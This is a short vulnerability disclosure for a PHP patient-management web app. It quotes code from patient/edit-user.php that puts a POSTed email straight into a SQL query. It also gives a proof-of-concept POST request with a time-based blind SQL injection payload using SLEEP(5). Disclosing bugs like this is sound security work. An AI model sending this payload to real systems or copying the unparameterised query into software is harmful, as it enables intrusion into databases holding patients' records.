Found a vulnerability

[0clickjacking0]

Vulnerability file address

patient/edit-user.php from line 11,The $email parameter is controllable, the parameter email can be passed through post, and the $email is not protected from sql injection, line 27 $result= $database->query($aab); causes sql injection

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  if($_POST){
        //print_r($_POST);
        $result= $database->query("select * from webuser");
        $name=$_POST['name'];
        $nic=$_POST['nic'];
        $oldemail=$_POST["oldemail"];
        $address=$_POST['address'];
        $email=$_POST['email'];
        $tele=$_POST['Tele'];
        $password=$_POST['password'];
        $cpassword=$_POST['cpassword'];
        $id=$_POST['id00'];
        
        if ($password==$cpassword){
            $error='3';
            $aab="select patient.pid from patient inner join webuser on patient.pemail=webuser.email where webuser.email='$email';";
            $result= $database->query($aab);
            //$resultqq= $database->query("select * from doctor where docid='$id';");
            if($result->num_rows==1){
                $id2=$result->fetch_assoc()["pid"];
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POC

POST /patient/edit-user.php HTTP/1.1
Host: www.edoc.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=4ciqg01m5iftqio69u3m5sha12
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

email=' AND (SELECT 9021 FROM (SELECT(SLEEP(5)))BPzc)-- aeMt&password=1&cpassword=1

Attack results pictures